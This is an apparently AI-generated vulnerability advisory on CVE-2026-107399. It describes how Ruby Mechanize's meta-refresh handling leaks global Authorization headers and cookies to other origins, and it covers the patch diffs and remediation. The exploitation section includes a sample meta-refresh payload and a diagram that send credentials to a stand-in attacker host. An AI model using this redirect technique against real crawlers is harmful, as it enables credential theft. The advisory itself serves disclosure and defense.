CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-107399

CVE-2026-107399: Information Disclosure via HTML Meta-Refresh in Ruby Mechanize

Amit Schendel
Amit Schendel
Senior Security Researcher

Oct 9, 2026·5 min read·5 visits

Executive Summary (TL;DR)

Ruby Mechanize prior to version 2.14.1 fails to enforce origin trust boundaries when executing HTML meta-refreshes, allowing third-party hosts to exfiltrate globally configured request headers.

An origin trust boundary failure in the Ruby mechanize library (prior to v2.14.1) allows unauthenticated remote web servers to harvest sensitive global request headers, such as Authorization Bearer tokens and cookies, by utilizing HTML-level meta-refresh redirection tags. Standard HTTP-level redirect boundaries were not applied to document-level redirects, creating a vector for cross-origin credential leakage during automated crawls.

Vulnerability Overview

CVE-2026-107399 identifies an information disclosure vulnerability in the Ruby mechanize library, which is commonly used to automate programmatic interactions with websites. When the Mechanize#follow_meta_refresh configuration option is enabled, the agent fails to establish or enforce an origin trust boundary when handling HTML-based <meta http-equiv="refresh" ...> redirects (meta refreshes). This structural flaw permits cross-origin exfiltration of credentials to unvalidated external targets.\n\nUnder vulnerable configurations, if an automated crawl or scraping process encounters a webpage containing a meta-refresh tag pointing to an external origin, the globally configured headers set via Mechanize#request_headers= are unconditionally re-applied and transmitted to the destination server. These headers often contain highly sensitive credentials, such as HTTP Authorization Bearer tokens, API keys, or custom cookies. An adversary hosting a malicious website can capture these credentials and compromise the client's session state on trusted third-party applications.\n\nThe vulnerability arises due to structural gaps in the legacy redirect architecture of the library. While HTTP 3xx-level redirects implemented strict domain validation to strip cross-origin headers, meta-refresh elements were parsed and executed via an independent code path that completely lacked these protections.

Root Cause Analysis

The root cause of this vulnerability lies in the separation of the redirect processing paths inside the Mechanize::HTTP::Agent class. Standard HTTP-level redirects (such as 301, 302, 303, and 307 responses) are evaluated against origin boundaries. When the host of an HTTP redirect target changes, the library drops sensitive headers like Authorization and custom cookies to prevent cross-origin disclosure.\n\nIn contrast, HTML-level meta-refreshes are parsed from the response body of a document. When follow_meta_refresh is configured to true, Mechanize extracts target redirection URLs from parsed HTML <meta> elements. The original implementation of Mechanize::HTTP::Agent#response_follow_meta_refresh fetched this target URL without executing any origin-boundary verification.\n\nBecause global agent configuration headers defined in @request_headers were re-applied dynamically on every invocation of #fetch, the subsequent HTTP request to the third-party destination inherited the sensitive headers in full. This design introduced secondary attack vectors where dropped credentials could be re-injected on subsequent hops, such as during multi-hop redirects, HTTP 401 Authorization Retries, or double meta-refreshes.

Code Analysis

The remediation was addressed in a sequence of patches committed to the mechanize codebase and released in version 2.14.1. In the first patch (commit 84c74df87d15f5d119df268ba6aa79bc1e16a2c3), the agent was modified to calculate whether a meta-refresh crosses origin boundaries using the existing crosses_origin? utility helper:\n\ndiff\n@@ -981,7 +981,8 @@ def response_follow_meta_refresh response, uri, page, redirects\n sleep delay\n @history.push(page, page.uri)\n fetch new_url, :get, {}, [],\n- Mechanize::Page.new, redirects + 1\n+ Mechanize::Page.new, redirects + 1,\n+ crosses_origin?(uri, new_url)\n\n\nTo prevent the re-injection of credentials across redirect hops (where global request headers were previously re-merged unconditionally), commit 02a1235842d6eda8d4a5a3d8f13aba2cecf52e4f refactored the header application lifecycle. Global headers are now merged into the transaction-specific header hash only once at the beginning of the transaction:\n\nruby\n# Merged only once at the start of the operation\nheaders = @request_headers.merge headers if apply_request_headers\n\n\nDuring subsequent meta-refreshes, the headers are statefully checked, and sensitive headers are deleted if crosses_origin? evaluates to true:\n\nruby\nheaders = headers.dup\nheaders.delete_if { |h, _| drop_after_redirect? h, crosses_origin?(uri, new_url) }\n\nfetch new_url, :get, headers, [],\n Mechanize::Page.new, redirects + 1, false\n\n\nFinally, commit 6ce26d2a6a28248efa75a73b11c2d8c1f6a41b2e normalized header keys to enforce case-insensitive matching and canonicalization, preventing symbol-based headers (e.g., :authorization) from bypassing the drop checks.

Exploitation Methodology

To exploit this vulnerability, an attacker must host a malicious webpage that is visited by an automated Mechanize-based client. The client must have follow_meta_refresh enabled and must configure sensitive global headers. The attacker does not need authentication to trigger the exploit.\n\nWhen the client requests the attacker's page, the server returns an HTML response containing a meta-refresh redirect directive:\n\nhtml\n<meta http-equiv=\"refresh\" content=\"0;url=https://attacker-controlled-site.com/capture\">\n\n\nUpon receiving this document, the Mechanize client parses the HTML, identifies the redirect instruction, and initiates a secondary GET request to the attacker-controlled origin. Prior to the patch, the client would preserve and transmit all globally set headers (including Bearer tokens, cookies, and API keys) to the external destination.\n\nmermaid\ngraph LR\n client[\"Mechanize Client\"] -->|\"1. Request to Trusted Site\"| trusted[\"trusted.example.com\"]\n trusted -->|\"2. Open Redirect / Malicious Page\"| client\n client -->|\"3. Meta-Refresh to External Origin\"| attacker[\"attacker.example.com\"]\n client -.->|\"4. Exfiltrates Authorization Header\"| attacker\n\n\nThe attacker's web server logs all incoming request headers, successfully harvesting the authentication material. This exfiltration process occurs fully automatically without requiring user interaction.

Impact Assessment

The CVSS v3.1 base score for this vulnerability is 6.8 (Medium severity), with the vector string CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:N/A:N. Because the scope is changed (S:C), the credentials scoped for a secure domain can transition to an unauthorized domain.\n\nThe primary impact is the complete loss of confidentiality for session identifiers and authorization headers. Since Mechanize is widely utilized in back-end background tasks, web scrapers, and automated API crawlers, compromised tokens often hold elevated, administrative, or service-to-service access levels.\n\nThere is no direct impact on system integrity or availability, as the vulnerability does not support arbitrary code execution or service disruption on the host running the crawler. However, the exfiltrated session credentials can be used to perform downstream unauthorized actions against authenticated services.

Remediation and Mitigation

The definitive mitigation is to upgrade the mechanize library to version 2.14.1 or higher. This release integrates the secure origin-boundary checks, stateful credential tracking, and case-insensitive header normalization.\n\nIf upgrading is not immediately possible, developers can work around the vulnerability by disabling meta-refresh following. This feature is disabled by default in the library, but if it has been explicitly enabled, it should be set to false:\n\nruby\nagent = Mechanize.new\nagent.follow_meta_refresh = false\n\n\nFurthermore, developers should avoid setting sensitive authentication tokens globally via agent.request_headers=. Instead, pass authentication headers explicitly as part of individual, target-validated requests:\n\nruby\n# Pass headers on a per-request basis to limit exposure\nagent.get('https://trusted.example.com/api', {}, nil, { 'Authorization' => 'Bearer token' })\n

Official Patches

sparklemotionSecurity Advisory

Fix Analysis (5)

Technical Appendix

CVSS Score
6.8/ 10
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:N/A:N

Affected Systems

Ruby systems running mechanize gem versions prior to 2.14.1

Affected Versions Detail

Product
Affected Versions
Fixed Version
mechanize
sparklemotion
< 2.14.12.14.1
AttributeDetail
CWE IDCWE-200
Attack VectorNetwork
CVSS Score6.8
Exploit Statuspoc
KEV StatusNot Listed
ImpactHigh Confidentiality Loss
Affected ComponentMechanize::HTTP::Agent

MITRE ATT&CK Mapping

T1552Unsecured Credentials
Credential Access
CWE-200
Exposure of Sensitive Information to an Unauthorized Actor

The product exposes sensitive information to an actor that is not authorized to have access to that information.

References & Sources

  • [1]Official GitHub Advisory
  • [2]Mechanize Release v2.14.1
  • [3]Core Fix Pull Request

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•about 1 hour ago•CVE-2026-107715
6.8

CVE-2026-107715: Information Disclosure and Credential Leakage in Ruby Mechanize via Cross-Origin Redirections

Ruby Mechanize prior to version 2.14.1 contains an information disclosure vulnerability. When executing cross-origin HTTP redirects, global headers configured on the Mechanize agent (such as Authorization or Session Cookies) are dynamically re-applied to the subsequent request, bypassing the internal header-stripping logic. An attacker who controls a redirection endpoint can capture sensitive bearer tokens or cookies.

Alon Barad
Alon Barad
4 views•7 min read
•about 3 hours ago•CVE-2026-107718
6.1

CVE-2026-107718: Open Redirect Vulnerability in @adonisjs/http-server

CVE-2026-107718 is a medium-severity Open Redirect vulnerability in the core HTTP server package of the AdonisJS Node.js framework. Prior to versions 8.2.3 and 9.3.0, the framework built route paths by directly interpolating dynamic parameters and wildcard segments without URI encoding. If an application routes attacker-controlled input directly to a dynamic first path segment and uses the generated route URL as a redirect destination, a leading slash can produce a scheme-relative external URL. Modern web browsers process scheme-relative URLs by redirecting the client to the specified external domain, exposing users to credential harvesting, social engineering, and session hijacking. This vulnerability affects all applications running unpatched configurations where input validation is not explicitly implemented before generating paths.

Alon Barad
Alon Barad
5 views•6 min read
•about 4 hours ago•CVE-2026-107725
8.7

CVE-2026-107725: Remote Code Execution via Authorization Bypass in Hazelcast Predicates API

CVE-2026-107725 is a critical security bypass in Hazelcast where missing authorization checks in the MapPermission class permit unprivileged clients to issue queries containing aggregators or projections. This architectural oversight allows attackers to run arbitrary code on the cluster servers under the privileges of the active Hazelcast process.

Amit Schendel
Amit Schendel
6 views•7 min read
•about 5 hours ago•CVE-2026-107396
5.4

CVE-2026-107396: Stored Cross-Site Scripting (XSS) in Indico

A stored Cross-Site Scripting (XSS) vulnerability was identified in Indico, an open-source event management system developed at CERN, prior to version 3.3.13. The vulnerability stems from weak URL validation in custom link fields and lack of HTML sanitization during Marshmallow serialization of event notes. This allows authenticated attackers with event modification privileges to inject malicious payloads that execute in the browser of users viewing the event pages or collaborating on notes.

Alon Barad
Alon Barad
4 views•6 min read
•about 6 hours ago•CVE-2026-107397
4.4

CVE-2026-107397: Stored Cross-Site Scripting via Collaborative Editor Conflict Resolution and Custom Link Fields in Indico

A technical analysis of CVE-2026-107397, a stored Cross-Site Scripting (XSS) vulnerability in Indico's collaborative notes editor and custom link generation fields. Prior to version 3.3.13, Marshmallow serialization schemas omitted HTML sanitization during conflict resolution, and form validators failed to enforce strict URI schemes, enabling authenticated low-privilege attackers to execute arbitrary JavaScript.

Alon Barad
Alon Barad
0 views•7 min read
•about 7 hours ago•CVE-2026-107395
4.3

CVE-2026-107395: Missing Authorization in Indico Legacy Session Export API

An authorization bypass vulnerability exists in the legacy session export API of Indico, an open-source event management system developed at CERN. Due to a missing object-level access check, authenticated users can bypass configuration-level restrictions to extract private session metadata (including session titles, descriptions, and list of conveners) from events that they are otherwise authorized to view.

Alon Barad
Alon Barad
11 views•5 min read